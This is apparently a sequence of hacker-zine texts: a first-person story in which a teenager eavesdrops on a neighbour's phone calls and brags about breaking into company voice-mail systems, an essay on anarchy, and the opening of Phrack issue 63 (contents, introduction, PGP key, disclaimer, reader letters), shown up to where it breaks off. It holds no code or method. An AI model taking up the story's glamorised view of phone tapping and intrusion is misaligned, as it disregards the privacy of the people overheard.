My favorite telephone sitcom was "The Chiropractor's Wife." That woman she lived around the corner and lowered the narrowness bar beyond belief. You see her on the street with her kids or walking that damned huge dog of theirs, you wouldn't know it. She looked normal. On good days she looked good even with her blonde hair down on her shoulders, smiling hello. Still, she raised oblivious to the level of an art form. I guess she was terrified. Her life consisted of barely coping with two kids who were four and six I think and serving on a committee or two at school like for making decorations for a Halloween party. Other than that, near as I could tell, she talked to her mother and made dinner for the pseudo‑doc. Talked to her mother every day, sometimes for hours. The conversation was often interrupted by long pauses. Well, the wife would say. Then her mother would say, well. Then there might be silence for twenty seconds. I am not exaggerating, I clocked it. Twenty‑four seconds was their personal best. That might not sound like much but in a telephone conversation, it's eternity. Then they would go back over the same territory. They were like prisoners walking back and forth in a shared cell, saying the same things over and over. I guess it was mostly the need to talk no matter what, drawing the same circles on a little pad of paper. I imagined the wife making those circles on a doodle pad in different colors and that's when I realized that people around me lived by a different geometry entirely. How the landscape looks is determined by how you measure distance. How far to the horizon. That's when I began to invent theorems for a geometry of near.

Example.

Here in Wolf Cove there is the absolute silence of shuttered life. The only noise we hear is traffic from the freeway far over the trees. We have lots of trees, ravines, some little lakes. That's what it is, trees and ravines and houses among the trees. That sound of distant traffic is like holding a seashell up to your ear. It's the closest we come to having an ocean. No one can park on the street so a car that parks is suspect. The cops know everyone by sight so anyone different is stopped. The point I am making is, Wolf Cove encloses trees and lakes and houses with gates of silence, making it seem safe, but in fact it has the opposite effect. It creates fear that is bone deep. It's like a gated community with real iron gates and a rent‑a‑cop. It makes people inside afraid of what's outside so no one wants to leave. It's like we built an electric fence like the kinds that keep dogs inside except we're the dogs.

One day there was a carjacking at a mall ten miles away. Two guys did it who looked like someone called central casting and said hey, send us a couple of mean‑looking carjacker types. They held a gun on a gray lady driving a Lexus and left her hysterical in the parking lot. I knew the telephone sitcom was bound to be good so I listened in on the wife and her hold‑me mother.

They talked for more than two hours, the wife saying how afraid she was she wouldn't get decorations done for the Halloween party at the school. She almost cried a couple of times, she was that close to breaking, just taking care of a couple of kids and making streamers and a pumpkin pie. But every now and again she said how afraid she was they'd take her SUV at gunpoint next time she went shopping. The television had done its job of keeping her frightened, downloading images of terrified victims morning noon and night. Fear makes people manageable. Finally the wife said, maybe we ought to move. I couldn't believe my ears. I mean, she lived in Wolf Cove inside an electric fence, so where the hell would she go? Her fears loomed in shadows on the screen of the world like ghosts and ghouls at that Halloween party. Everywhere she looked, she saw danger. Wherever there was a door instead of a wall, she felt a draft, an icy chill, imagining it opening. She got out of bed and checked the locks when everyone else was asleep. Once she had to go get something on the other side of town and you would have thought she was going to the moon. She went over the route on a map with her mother. Did she turn here? Or here? She had a cell phone fully charged ‑ she checked it twice ‑ and a full tank of gas, just in case. Just in case of what? So I wasn't surprised when she said after the carjack that maybe they ought to move to Port Harbor, ten miles north. Then her mother said, well. Then the wife said well and then there was silence. I think I held my breath, sitting in my bedroom listening through headphones. Then her mother said, well, you would still have to shop somewhere.

Oh, the wife said. I hadn't thought of that.

The geometry of near.

So many people live inside those little circles, more here than most places. I live on the net, I live online, I live out there. I keep the bedroom door shut but the mindspace I inhabit is the whole world. When I was eleven I found channels where I learned so much just listening. I kept my mouth shut until I knew who was who, who was a lamer shooting off his mouth and who had a clue. Then somebody asked a question I knew and I answered politely and they let me in. I wasn't a lurker any longer, but I took it easy, asking questions but not too many. I stayed up late at Border's and other midnight bookstores, aisles cluttered with open O'Reilly books, figuring out what I could before I asked. You have to do the homework and you have to show respect. Once they let me in, I helped guys on rungs below. I was pretty good at certain systems, certain kinds of PBX, and posted voice mail trophies that were a hoot. Some came from huge companies that couldn't secure their ass with a cork. The clips gave the lie to their PR, showing what bullshit it was. So everybody on the channel knew but had the good sense not to say, not let anybody know. That would be like leaning over a banister and asking the Feds to fuck us please in the ass.

So I learned how to live on the grid. I mapped it inside my head, constantly recreating images of the flows, shadows in my brain creating a shadow self at the same time. The shadow self became my self except I could see it and knew how to use it.

It wasn't hacking the little systems, don't you see, the boxes or the telephones, it was the Big System with a capital B and a capital S. Hacking a system means hacking the mind that makes it. It's not just code, it's the coder. The code is a shadow of the coder's mind. That's what you're hacking. You see how code relates to the coder, shit, you understand everything.

Anyway, Mom and Pop were talking one night and Mom said she had seen the Bradley's out on their patio. They were staring down at the old bricks, thinking about redoing it. It meant rearranging shrubs and maybe putting it some flowers and ground cover. It sounded like big deal, the way they talked about it, making this little change sound like the Russian Revolution. It was like the time the Adams built a breakfast nook, you would have thought they had terraformed a planet.

So Mom said to Virginia Bradley, how long have you been in this house now? as long as we have? Oh no, Virginia said. We've been here thirteen years. Oh, Mom said We've been fifteen. But then, Virginia said, we only moved from a block away. Mom said, Oh? I didn't know that. Virginia said, yes, we lived in that little white house on the corner the one with the green shutters for seventeen years. Mom said, I didn't know that. Not only that, Virgina said with a little laugh, but Rick, that was her husband, Rick grew up around the corner. You know that ranch where his mother lives? Mom said, the one where the sign says Bradley? I didn't realize (only neighbors thirteen years) that was his mother. Yes, he grew up in that house, then when we got married we moved to the white house with the green shutters and thirteen years ago when Stonesifers moved to the lakes then we moved here.

The heart enclosed in apprehension becomes so frightened of its own journey, of knowing itself, that it draws the spiral more and more tightly, fencing itself in. Eventually the maze leads nowhere. This village with its winding lanes and gas lamps for all its faux charm was designed by a peasant culture afraid of strangers, afraid of change, a half‑human heart with its own unique geometry.

Yep, you guessed it. The geometry of near.

Hypnosis does an effective job of Disneylanding the loneliness of people who live near. Sometimes that loneliness leaks out into their lives and that, really, was what the fighting was about.

Some business group asked Pop to give a dinner speech. They asked him over a year ago, so he had it on the calendar all that time. He really looked forward to it, we could tell by the time he spent getting ready. He even practiced his delivery. They told Pop to expect a few hundred people but when he showed up with all his slides, there were only twenty‑three. I am so sorry, said Merriwether Prattleblather or whoever asked him to speak. It never occurred to any of us when we scheduled your talk that this would be of all things the last episode of Jerry Seinfeld. Pop got a bit of a clue that night. He was pretty dejected but he knew why. These are people, he said, who have known each other for years. This meeting is an opportunity to spend time with real friends. But they preferred to spend the night with people who are not only not real, but don't even make sense or connect to anything real. They would rather passively download digital images, he said, using my language without realizing it, than interact with real human beings.

So Pop had half a clue and I got excited, that doesn't happen every night, so I jumped in, wanting to rip to the next level and show how it all connects from Walter Lippmann to Eddie Bernays to Joseph Goebells, news PR and propaganda one and the same. That got Pop angry. It undermined that doll's house in his head, I can see now. The walls would collapse if he looked so he can't look. Besides, he had to put his frustration somewhere and I was safe. Naturally I became quite incensed at the intensity of his commitment to being clueless. Christ, Pop, I shouted, they stole your history. You haven't got a clue because everything real was hidden. Some of the nodes are real but the way they relate is disguised in lies. He shouts back that I don't know what I'm talking about. The second world war was real, he says, hitting the table, not knowing how nuts he looks. Oh yeah? Then what about Enigma? Before they disclosed it, you thought totally differently about everything in that war. You had to, Pop! Context is content and that's what they hide, making everything look different. It's all in the points of reference. They've done that with everything for fifty years. It's like multispectral camouflage that I read about in space, fake platforms intended to look real. Nothing gets through, nothing bounces back. You live in a hall or more like a hologram of mirrors, Pop, can't you see that?

We both kept shouting and sooner or later I figured fuck it and went to my room which is fine with me because I would rather live in the real world than the Night of the Living Dead down there.

I know why Pop can't let himself know. I understand. Particularly at his age, you can't face the emptiness of it all unless you know how to fill it again, preferably with something real. Knowing you know how to do that makes it bearable like looking at snakes on Medusa's head in a mirror. It keeps you from turning to stone.

Me and my friends we don't want to turn to stone ever. Not ever. Maybe it's all infinite regress inside our heads, nobody knows. But playing the game at least keeps you flexible. It's like yoga for the soul.

When do I like it best? That's easy. Four in the morning. I love it then. There's this painting by Rousseau of a lion and a gypsy and the world asleep in a frieze that never wakes up. That's what it feels like, four in the morning, online. The illusory world is asleep, shut up like a clam, I turn on the computer and the fan turns into white noise. The noise is the sound of the sea against the seawall of our lives. The monitor flickers alight like a window opening and I climb through.

It's all in the symbols, see, managing the symbols. That makes the difference between half an illusion and a whole one. Do you use them or do they use you? If they use you, do you know it, do you see it, and do you use them back? Who's in charge here? Are you constantly taking back control from symbols that would sweep you up in a flood? Are you conscious of how you collude because brains are built to collude so you know and know that you know and can take back power? Then you have a chance, see, even if the hall of mirrors never shows a real reflection. Then we have a chance to get to the next level of the game if only that and that does seem to be the point.

Me and my friends we prefer the geometry of far. This bedroom is a node in a network trans‑planetary or trans‑lunar at any rate, an intersection of lines in a grid that we navigate at lightspeed. This is soul‑work, this symbol‑manipulating machinery fused with our souls, we live cyborg style, wired to each other. The information we exchange is energy bootstrapping itself to a higher level of abstraction. Some nights you drop down into this incredible place and disappear. Something happens. I don't know how to describe it. It's like you drop down into this place where most of your life is lived except most of the time you don't notice. This time, somehow you go there and know it. Instead of thinking leaning forward from the top of your head its like lines of electromagnetic energy showing iron filings radiating out from the base of your skull. Information comes and goes from the base of your brain, goes in all directions. Time dilates and you use a different set of points of reference, near and far at the same time.

It's a matter of wanting to go, I think, then going. Otherwise you turn into the chiropractor's wife. I want to see up close the difference that makes the difference but once I go there, "I" dissolves like countries disappeared and whatever is left inhabits clouds of power that have no names. It's better than sex, yes, better.

So anyway, the point is, yes, I was laughing but not at him, exactly. You can tell him that. It was nothing personal. It just looked so funny watching someone express the truth that they didn't know. The truth of a future they'll never inhabit. It's like his mind was bouncing off a wall, you see what I mean? So I apologize, okay? You can tell him that. I understand what it must be like, coming to the end of your life and realizing how it's all been deception. When it's too late to do anything about it.

Now if it's all right with you, I just want a few minutes with my friends. I just want to go where we don't need to be always explaining everything, where everybody understands.

Okay? And would you mind closing the door, please, as you leave?

# # #

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Feasibility of Anarchy in America

By

Anthony <ivrit@missvalley.com>

"This country, with its institutions, belongs to the people who inhabit it. Whenever they shall grow weary of the existing Government, they can exercise their constitutional right of amending it, or their revolutionary right to dismember or overthrow it." ‑‑ Abraham Lincoln

The concept of anarchy in its most general and well‑known form espouses a view of removing a given governing body or hierarchy. The very word, "Anarchy," is derived from the Greek word "Anarkhos," which means, "Without a ruler." In effect, it is a view shared by those who believe that centralized governments or hierarchies of power and authority tend to corrupt those at the upper‑levels. It is also a common sentiment that those power‑drunken rulers at the height of the hierarchy come to abuse their power and use their newly found authority for their own, whimsical purposes to the detriment of the lower members of the organization or society over which it rules. This belief is far from new, and dates back probably as far as political philosophy has existed. Within the United States, the philosophy gained general acceptance within a few select groups during the 1960's and 1970's, and was forwarded with the rise of the "Anarchist Cookbook," in which instructions for bomb‑making, guerilla warfare, and the like are expounded upon in rather brief detail. With the rise of the Internet, many groups favoring the free exchange of any and all information, as well as the destruction of any sort of proprietary and restrictive model for software development and the like, the philosophy of Anarchism has become quite widespread and supported in a variety of forms. Aside from the desire to see corrupt regimes fail and the Orwellian laws and measures become obsolete, however, we must ask ourselves: In America, is the concept of Anarchy realistically viable?

It is evident to most that the majority of citizens of the United States do not view laws as anything other than rules enforced by the current regime; therefore, to them, if the regime fails for whatever reason, there are no laws by which to abide. For instance, we can see that during even minor disruptions, such as blackouts, citizens run rampant causing damage and stealing goods from other businesses. They do not connect to the greater picture, and they do not realize that, by depriving others of these goods, they do nothing but bring greater harm upon the whole of society, which includes them as well. Even with the government still active, we see a variety of crimes committed each day, some of the most serious being rape, murder, and theft. The most important question we must ask is that, if the citizens are unable to conduct themselves for the greater good and for the welfare of society, then how may they be trusted to conduct themselves properly without a governmental body enforcing its laws by threats of incarceration or death? However it has occurred, it is irrelevant: the majority of US citizens are entirely dependent upon the government and the services that it provides. It is also obvious that, without a central governing body, they could not rightfully conduct themselves responsibly so that they would need no rulers or administrators above them ensuring that civil order persists. Because of their attitude of self‑centered egoism and the fulfillment of their hedonistic desires, it is very improbable that they could retain the proper attitude to make anarchy a possible way of life. Another problem relating to the lack of a proper, self‑reliant attitude is the fact that most Americans are conditioned to a rather wealthy and comfortable lifestyle. They have the pleasure of relative political and military security; comfortable homes; televisions and other frivolous entertainments; and more food than most know what to do with. All but the most impoverished and destitute live a very comfortable lifestyle, and even the latter are generally not wanting for food, housing, and so forth because of government aid. It is also obvious to many that the government acts as a buffer between the individual and reality. Everything is hidden from public view, such as the enforcement of the death penalty, the frequent slaughtering of meat, and even the often‑times brutal tactics of the police and military. The government attempts to keep society in a rather blissful swoon so that it does not recognize and is therefore not conditioned to the undesirable facets of reality. Therefore, it is improbable that the general public at large would have the threshold of toleration regarding hardship, and it is not likely that most would be able to adapt to a rather open and frank way of life, seeing and experiencing both its pleasant and unpleasant aspects. It is most likely that, when experiencing life without any central government shielding them from how it truly is, as well as their responsibility to themselves and the rest of society at large, they would reject such ideals and return to their previous existence and lifestyle. Too much is taken for granted, and when this is not available, the public would quickly turn upon their heels because of the fact that they are generally unconditioned to self‑responsibility, self‑reliance, and true hardship.

A very real problem to be faced if the central government were removed is the military situation and the protection of this country from hostile foreign powers. It is well known and goes without saying that quite a few foreign nations would take little time in responding to the collapse of the government and militarily invade and occupy the nation to their political and economic advantage. Thus, it would be imperative that a collective military be formed and trained in order to resist such a fate. However, another problem then arises: if a military is formed, and there is hierarchy within this military (as there needs be if it is to be effective in protecting the nation from coordinated foreign attacks), then what is to stop it from staging a coup and forming a new governmental body under military rule, with the commanders being the upper class and the new leaders of an unwilling populace? This is not an impossible or even an improbable scenario. Take Afghanistan, for instance. After the Mujahideen shook off the yoke of Soviet dominance and government, they found themselves in quite a problem: there were several militias, all led by separate commanders with different ideals. Soon, fighting erupted between them, and the country was in a state of war‑torn chaos. Nothing productive came from them, and they never ruled with any sort of authority. This serves as an example for how useless a struggle is against an oppressive regime if no stable government can be formed afterward. After their many blunders, a new group rose up against them and their corruption: the Taliban. They were originally a group of freedom fighters who claimed to have no desire for power or rule. They said that their goals were to remove the Mujahideen and their atrocities from Afghanistan, and to restore order, security, and peace to the region. We all know that, afterward, they indeed became the new rulers of Afghanistan, and were no better than the former Mujahideen in the least. This would be the same sort of problem that is to plague a nation whose central government is removed, and it is almost inevitable that foreign occupation will occur, or the newly formed military will take the power for themselves. Or, perhaps, both of these will occur as they did in Afghanistan. Another solution may form in the minds of some when thinking of this problem: perhaps if everyone who is of fighting age and ability would form a militia, so that this power would be in the hands of the population as opposed to a select fighting few. This indeed would be a good idea, if it weren't for a small problem: it would only be a matter of time before there would be disagreements as to the best course of future action in any given situation, and it is very probable that there would be separate factions that would split away and war upon each other. Thus, the nation would once more be divided and fighting for power, much like the many nations of the world do even today. Even without these severely important issues arising, it goes without question that to have everyone who is able to necessarily be a part of a given military would be nearly akin to being governed by a central regime, only on a more militarized basis. Therefore, it seems entirely likely that this would either begin as or devolve into yet another form of government, only this time harsher in its enforcement of laws given the very nature of the institution.

A view espoused by some is that man should return to a more natural way of life and live primitively, as an animal, given that he is indeed an animal which is more highly evolved and retains higher faculties of reason and thought. This sort of view likewise presents another problem which is most likely impossible to overcome within anarchy: the fact that there is not anarchy within nature, and that animals are indeed governed if by nothing more than the principle of natural selection: the strong will survive, and the weak will perish. It is a fact that resources of a particular area are not unlimited, such as food, water, material for shelters, fuel, and so forth. It is also true that there will be those who are more efficient by nature in gathering food, finding themselves fortunate enough to live near and perhaps possess a source of fresh water, and so on. Therefore, those who are stronger and more efficient in these areas will by nature rule over those who are weaker and not as adept or fortunate enough to be in like position. Such an individual or individuals would thus be held in higher esteem in a given community because of the resources he/she possesses, and which the other members want or need. As we can see, this is leading to another form of government: those with the best plots of land held in private ownership will naturally become those who supply the food and necessary materials to the rest of the community, and will therefore become as an authority figure. It is trivial to understand that this situation can be prevented if private ownership of land is not allowed, or if food, water, and other relatively scarce resources are distributed equally amongst the populace. The only problem with this is that there must by definition be some sort of hierarchy or committee collecting these resources, distributing them, and ensuring that everyone is conducting themselves honestly with regard to the matter. This will likewise lead to yet another form of control and government: over time or, perhaps from the beginning depending upon how much force the committee would have or how dire the situation is at that time, they will come to form a sort of government which would provide the members of society with its needed resources, and would thus be much like the current government we have today, existing by serving society and using its natural power to threaten others to accept a given set of laws in order to preserve social order. Even the most primitive of societies have an accepted leadership, and at least have some sort of social order and a way in which to ensure that such a social order is not disrupted to the detriment of society. Hence, if the society is to be held together and not devolve into nothing more than close‑knit families attempting to ensure for themselves survival without thought to the rest of the population, there must exist some sort of hierarchy or, for lack of a better term, system of government.

I conclude this rather brief essay by answering the question posed in the beginning: it is not possible that anarchy can exist within America if only because of the fact that the population could not handle it, and can not be trusted to act with the best interest of society in mind. Not many in this culture of ego‑gratification and self‑centered hedonism would find it in their best interests to give up their many enjoyments, possessions, and sheltered way of life so that they could exist with more responsibility and self‑reliance. Not only this, it would also be impossible to rid the majority of the population of the idea of private ownership of property, and because of the self‑centered nature of this culture, it would be entirely out of the question to assume that a form of communism or communal‑lifestyle would be acceptable to the majority involved. Besides, without some form of central government deciding the fate of this communal property and what should be done with the material harvested or grown from it, we would be hard‑pressed to come to any agreement upon what should be done with it. Thus, without any sort of unification or democratic government, or even an authoritarian dictator imposing his will upon the population at large, nothing can be achieved except factionalism, strife, and inevitably destabilizing, unconstructive conflict.

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

63

- Introduction by Phrack Staff

- Loopback by Phrack Staff

- Linenoise by Phrack Staff

- Phrack Prophile on Tiago by Phrack Staff

- OSX heap exploitation techniques by Nemo

- Hacking Windows CE (pocketpcs & others) by San

- Games with kernel Memory...FreeBSD Style by jkong

- Raising The Bar For Windows Rootkit Detection by sherri sparks & jamie butler

- Embedded ELF Debugging by ELFsh crew

- Hacking Grub for Fun & Profit by coolq

- Advanced antiforensics by ripe & pluf

- Process Dump and Binary Reconstruction by ilo

- Next-Gen. Runtime Binary Encryption by zvrba

- Shifting the Stack Pointer by andrewg

- NT Shellcode Prevention Demystified by piotr

- PowerPC Cracking on OSX with GDB by curious

- Hacking with Embedded Systems by cawan

- Process Hiding & The Linux Scheduler by ubra

- Breaking Through a Firewall by kotkrye

- Phrack World News by Phrack Staff

Introduction

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x01 of 0x14

[‑]=====================================

[‑]=====================================

[‑]=====================================

For 20 years PHRACK magazine has been the most technical, most original, the most Hacker magazine in the world. The last five of those years have been under the guidance of the current editorial team. Over that time, many new techniques, new bugs and new attacks have been published in PHRACK. We enojoyed every single moment working on the magazine.

The time is right for new blood, and a fresh phrackstaff.

PHRACK 63 marks the end of the line for some and the start of the line for others. Our hearts will alwasy be with PHRACK.

Expect a new release, under a new regime, sometime in 2006/2007.

As long as there is technology, there will be hackers. As long as there are hackers, there will be PHRACK magazine. We look forward to the next 20 years.

__^__

( ___ )‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| / | 0x01 Introduction phrackstaff 0x07 kb | \ | | / | 0x02 Loopback phrackstaff 0x05 kb | \ | | / | 0x03 Linenoise phrackstaff 0x1c kb | \ | | / | .1 Analysing suspicious binary files | \ | | / | .2 TCP Timestamp to count hosts behind NAT | \ |

| / | .3 Elliptic Curve Cryptography | \ |

| / | 0x04 Phrack Prophile on Tiago phrackstaff 0x21 kb | \ | | / | 0x05 OS X heap exploitation techniques Nemo 0x24 kb | \ | | / | 0x06 Hacking Windows CE (pocketpcs & others) San 0x33 kb | \ | | / | 0x07 Games with kernel Memory...FreeBSD Style jkong 0x2e kb | \ | | / | 0x08 Raising The Bar For Windows Rootkit Detection 0x4c kb | \ |

| / | Jamie Butler & Sherri Sparks | \ |

| / | 0x09 Embedded ELF Debugging ELFsh crew 0x5b kb | \ | | / | 0x0a Hacking Grub for Fun & Profit CoolQ 0x2a kb | \ | | / | 0x0b Advanced antiforensics : SELF Ripe & Pluf 0x29 kb | \ | | / | 0x0c Process Dump and Binary Reconstruction ilo 0x69 kb | \ | | / | 0x0d Next‑Gen. Runtime Binary Encryption Zvrba 0x45 kb | \ | | / | 0x0e Shifting the Stack Pointer andrewg 0x1a kb | \ | | / | 0x0f NT Shellcode Prevention Demystified Piotr 0xdc kb | \ | | / | 0x10 PowerPC Cracking on OSX with GDB curious 0x1b kb | \ | | / | 0x11 Hacking with Embedded Systems cawan 0x27 kb | \ | | / | 0x12 Process Hiding & The Linux Scheduler Ubra 0x2c kb | \ | | / | 0x13 Breaking Through a Firewall kotkrye 0x1e kb | \ | | / | 0x14 Phrack World News phrackstaff 0x0a kb | \ | |___|_____________[ PHRACK, NO FEAR & NO DOUBT ]_________________|___|

(_____)‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^

Shoutz:

Phenoelit : beeing cool & quick with solutions at WTH. The Dark Tangent : masterminding defc0n

joep : no joep == no hardcover.

rootfiend, lirakis, dink : arizona printing & for keepting the spirit alive

Enjoy the magazine!

Phrack Magazine Vol 11 Number 63, Build 2, Jul 30, 2005. ISSN 1068‑1035 Contents Copyright (c) 2005 Phrack Magazine. All Rights Reserved.

Nothing may be reproduced in whole or in part without the prior written permission from the editors. Phrack Magazine is made available to the public, as often as possible, free of charge.

|=‑‑‑‑‑‑‑‑‑‑‑=[ C O N T A C T P H R A C K M A G A Z I N E ]=‑‑‑‑‑‑‑‑‑=|

Editors : phrackstaff@phrack.org

Submissions : phrackstaff@phrack.org

Commentary : loopback@phrack.org

Phrack World News : pwn@phrack.org

Note: You must put the word 'ANTISPAM' somewhere in the Subject‑line of your email. All others will meet their master in /dev/null. We reply to every email. Lame emails make it into loopback.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions may be encrypted with the following PGP key:

(Hint: Always use the PGP key from the latest issue)

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: GnuPG v1.4.1 (GNU/Linux)

mQGiBELk+MARBACP4uJ+aCmxUejehggv2Us9aUg0JV0/fbsvANY45uYCFprOOCQt /DTvvbkEEFE89CsAAMTGLWFoxfChVzJ8s01ZQSyoQP0bcT1+c08p2yDXPJd9AQT8 TNF9fdeKCgW3TGaYl/ggHPrJOExXbc4iQptfAXrzPLVa1IjbJIfA76OTrwCgncme dl2rmPrJ6aUkdtWwO+4MwOsD/0Z+WKLPWPJpsT6jXHHKtniEyc4Oy83b5nJch72A Z5/PnIY0CoTR2JkYT7o5unFmu57N99FiNSlKOCnrec9/IQrty3iQhI+ISiCOqd/a 3hfSoegInf3iqad4SBgxCy+bEqIxOl6GDtI2GbB3V7rjeFn6Ik/gC3V/4JnMbj/U 2FVNA/wLKu2NUFG2nTznkcYXHmOjAz7JAufyLuQI8n9ha0HZ6H4hrDN/xOZrqTIY uRWdc12qgV/awSjRde+UIcm3tMFO/H771iUktPVSxefpXEADnQ0xgQV86WBL6+32 kDDF+nYIbqTy5SBQrxfUfycyE8CWqQ97CoBkhcpBy2tNKO6OGbQLcGhyYWNrc3Rh ZmaIXgQTEQIAHgUCQuT4wAIbAwYLCQgHAwIDFQIDAxYCAQIeAQIXgAAKCRANbHBh kEdcM0zIAKCE1ysoiu7o96qzD+P2wTipsjvITwCZAaSznPOGTPEesxbD0RkejuOg DLe5Ag0EQuT4xRAIALDbRMPpYFSGQwcHJf9fTGTZeU+RyfCelYXYRi9F28SkbrI/ FkdQHIe8/FFiQtIVIkkbw+UZPsSJenkUebA8wQCTKWpkDkwIoFJQxrpef5wHE3J4 zJ+fBgSNovfEMChe58wYcnuyaWM4eQ72ZnGw7C92spQD1QGajxFZlUXBBa6K3nRW 7xJhXsuYMgPXQ8mi6OIYiOiOa4RfrYrKIUQR/2AwZcO4KK/l4DWjfSjEYh9i3/Ch 7u8vX82skoIabgEFGDQZPG9afI/7TGXpQDQRc4ERHtDP64KIJwVA85e7d8sYjLHm ocNTIMQHg4MAOoKt+LOYr5qltXZiKI8A/3p77k8AAwUH/ia+AexXwN1zrmn46lBs 7GTaLYI5sM+f/gBzgm81KPjaknbfARJ6+Z2vtgM9OcAHnbW2mkcpuglhVEAQ0+lr G1ig4xxCqS1yTYlTLbPgzuetjMHJEf4XYTsYOHZRfDJinSJZb+vwa0LEhzE/YVuc EUEBhKsJWo7mYdoTLuMblfw/eWYs+LMmUVp+HnF9NxWHwqsJiHGSnEX4Kd3264lU vtsq478wmdMokRHTK23p8uiiWLL8Cl/kMlw8ARVJLqDqoEFAmzO8Rbc5PIzIZPJT 9yf2U5a5jzoZITIuuCBtY9pZ9ww0+SjXJ8xsW1CrNNSYPumnBAmgPgCfvZNoQ5hk 7gOISQQYEQIACQUCQuT4xQIbDAAKCRANbHBhkEdcM+c7AJ9PqXpUL+EkzHIlfOYz 96MpjPYm5QCgiqW0EZcest0fguHXc8K6KDXYpzg=

=m9ny

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

phrack:~# head ‑22 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Loopback

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x02 of 0x14

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L O O P B A C K ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Wow people. We received so much feedback since we announced that this is our final issue. I'm thrilled. We are hated by so many (hi Mr. Government) and loved but so few. And yet it's because of the few what kept us alive.

"Phrack helped me survive the crazyness and boredom inherent in The Man's system. Big thanks to all authors, editors and hangarounds of Phrack, past and present." ‑‑‑ Kurisuteru

[ ... ]

"Guys, if it wasn't for you, the internet wouldn't be the same, our whole lifes wouldn't be the same. I wish you all the best luck there is in your future. God bless you all and good bye!!!!! ‑‑‑ wolfinux

[ I hope there is a god. There must be. Because I ran this magazine. I fought against unjustice, opression and against all those who wanted to shut us down. I fought against stupidity and ignorance. I shook hands with the devil. I have seen him, I have smelled him and I have touched him. I know the devil exists and therefore I know there is a God. ]

"you're the first zine that i ever readed and you have a special place in my heart... you build my mind!! Thanks you all !!!!" ‑‑‑ thenucker/xy

[ This brotherhood will continue...]

|=[ 0x01 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm hoping the site isn't being abandoned because of pressure from Homeland Security.

[ I do not have a homeland. I do not believe in governments that scare the people. I do not bow for anyone. I do what I do best: I spread the spirit. ]

|=[ 0x02 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Could you please remove my personal info from this issue? http://www.phrack.org/phrack/52/P52‑02

Thanks in advance.

Itai Dor‑On [ <‑‑‑ him. signing with real name. ]

[ We are not doing phrack anymore. Sorry mate. Ask the new staff. ]

|=[ 0x03 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Are you interested in one "Cracking for Newbies" article?

Or maybe about how to make a Biege Box?

[ y0, psst. are you the guy that travels through time and tries to sell wisdom from the past? wicked!!!!!!!!! You are the man! ]

|=[ 0x04 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Joshua ruffolo <ruffolojoshua@yahoo.com>

A friend referred me to your site.

[ smart guy! ]

I know nothing much about what is posted.

[ stupid guy! ]

I don't understand what's what.

[ this is loopback. ]

Apparently there is some basic info that should be known to understand, but what is it?

[ reading happens from the left to the right:

from HERE ‑‑> ‑‑> ‑‑> ‑‑> TO ‑‑> ‑‑> ‑‑> ‑‑> ‑‑> ‑‑> HERE ]

|=[ 0x05 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

During the spring quarter 2004 I took the Advanced Network Security class at Northwestern University.

[ Must been challenging. Did they give you a Offical Master Operator Intense Security Expert X4‑Certificate and tell you that you did really well? Bahahahahahahah. ]

And I worked on a security project that has gained the interest of the CBS 2 Chicago investigative unit.

